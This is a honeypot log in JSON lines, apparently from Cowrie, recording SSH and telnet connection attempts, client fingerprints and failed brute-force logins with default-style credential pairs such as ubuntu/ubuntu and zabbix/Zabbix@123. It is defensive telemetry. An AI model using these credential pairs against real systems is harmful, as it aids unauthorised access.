{"eventid":"cowrie.login.failed","username":"zabbix","password":"Zabbix@123","message":"login attempt [zabbix/Zabbix@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:26:06.027237Z","src_ip":"210.79.191.199","session":"bc4b9baeb0fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"beehive","password":"12345","message":"login attempt [beehive/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:26:06.844285Z","src_ip":"101.36.123.173","session":"0b86b51ccc92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:26:07.277112Z","src_ip":"210.79.191.199","session":"bc4b9baeb0fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:26:08.060206Z","src_ip":"101.36.123.173","session":"0b86b51ccc92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.86","src_port":54358,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9be31650f8d","protocol":"ssh","message":"New connection: 165.154.6.86:54358 (10.17.0.5:22) [session: d9be31650f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:26:10.841698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:26:10.846102Z","src_ip":"165.154.6.86","session":"d9be31650f8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:26:11.062707Z","src_ip":"165.154.6.86","session":"d9be31650f8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gits","password":"gitspass","message":"login attempt [gits/gitspass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:26:11.965596Z","src_ip":"165.154.6.86","session":"d9be31650f8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:26:13.186145Z","src_ip":"165.154.6.86","session":"d9be31650f8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.106.133.202","src_port":53990,"dst_ip":"159.203.135.109","dst_port":22,"session":"c11c5a53a585","protocol":"ssh","message":"New connection: 211.106.133.202:53990 (159.203.135.109:22) [session: c11c5a53a585]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:26:35.425705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:26:35.431276Z","src_ip":"211.106.133.202","session":"c11c5a53a585","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:26:35.631254Z","src_ip":"211.106.133.202","session":"c11c5a53a585","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wildfly","password":"wildflypass","message":"login attempt [wildfly/wildflypass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:26:36.487109Z","src_ip":"211.106.133.202","session":"c11c5a53a585","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:26:37.693253Z","src_ip":"211.106.133.202","session":"c11c5a53a585","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.205.155","src_port":35568,"dst_ip":"10.17.0.5","dst_port":22,"session":"49f29959e848","protocol":"ssh","message":"New connection: 207.180.205.155:35568 (10.17.0.5:22) [session: 49f29959e848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:00.428439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:00.433456Z","src_ip":"207.180.205.155","session":"49f29959e848","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:00.534361Z","src_ip":"207.180.205.155","session":"49f29959e848","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"Dev123","message":"login attempt [dev/Dev123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:00.986629Z","src_ip":"207.180.205.155","session":"49f29959e848","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:02.092388Z","src_ip":"207.180.205.155","session":"49f29959e848","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.18","src_port":38750,"dst_ip":"10.17.0.5","dst_port":22,"session":"9268b834ba34","protocol":"ssh","message":"New connection: 210.79.191.18:38750 (10.17.0.5:22) [session: 9268b834ba34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:04.357575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:04.361766Z","src_ip":"210.79.191.18","session":"9268b834ba34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:04.605962Z","src_ip":"210.79.191.18","session":"9268b834ba34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappepass","message":"login attempt [frappe/frappepass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:05.612855Z","src_ip":"210.79.191.18","session":"9268b834ba34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:06.859783Z","src_ip":"210.79.191.18","session":"9268b834ba34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.94.61","src_port":37154,"dst_ip":"159.203.135.109","dst_port":22,"session":"12f46fc312af","protocol":"ssh","message":"New connection: 103.59.94.61:37154 (159.203.135.109:22) [session: 12f46fc312af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:17.596087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:17.600354Z","src_ip":"103.59.94.61","session":"12f46fc312af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:17.846849Z","src_ip":"103.59.94.61","session":"12f46fc312af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sample","password":"password","message":"login attempt [sample/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:18.862684Z","src_ip":"103.59.94.61","session":"12f46fc312af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:20.110867Z","src_ip":"103.59.94.61","session":"12f46fc312af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.230.147.2","src_port":11899,"dst_ip":"159.203.135.109","dst_port":23,"session":"893794d4d9bd","protocol":"telnet","message":"New connection: 45.230.147.2:11899 (159.203.135.109:23) [session: 893794d4d9bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:47.341165Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":56302,"dst_ip":"10.17.0.5","dst_port":22,"session":"44e538f7167f","protocol":"ssh","message":"New connection: 2.57.122.208:56302 (10.17.0.5:22) [session: 44e538f7167f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:49.742516Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:49.759323Z","src_ip":"2.57.122.208","session":"44e538f7167f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:49.850892Z","src_ip":"2.57.122.208","session":"44e538f7167f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:50.283480Z","src_ip":"2.57.122.208","session":"44e538f7167f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:51.422561Z","src_ip":"2.57.122.208","session":"44e538f7167f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.297434329986572,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:27:59.638504Z","src_ip":"45.230.147.2","session":"893794d4d9bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.191.199","src_port":56968,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a805ceb336c","protocol":"ssh","message":"New connection: 210.79.191.199:56968 (10.17.0.5:22) [session: 2a805ceb336c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:05.335150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:05.339297Z","src_ip":"210.79.191.199","session":"2a805ceb336c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:05.590430Z","src_ip":"210.79.191.199","session":"2a805ceb336c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"term2","password":"password","message":"login attempt [term2/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:06.614293Z","src_ip":"210.79.191.199","session":"2a805ceb336c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:07.865567Z","src_ip":"210.79.191.199","session":"2a805ceb336c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.144.233","src_port":33862,"dst_ip":"10.17.0.5","dst_port":22,"session":"4f9538e659b8","protocol":"ssh","message":"New connection: 64.227.144.233:33862 (10.17.0.5:22) [session: 4f9538e659b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:21.320353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:21.324771Z","src_ip":"64.227.144.233","session":"4f9538e659b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:21.543207Z","src_ip":"64.227.144.233","session":"4f9538e659b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kirsten","password":"kirsten","message":"login attempt [kirsten/kirsten] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:21.983604Z","src_ip":"64.227.144.233","session":"4f9538e659b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T21:28:23.204407Z","src_ip":"64.227.144.233","session":"4f9538e659b8","protocol":"ssh"}
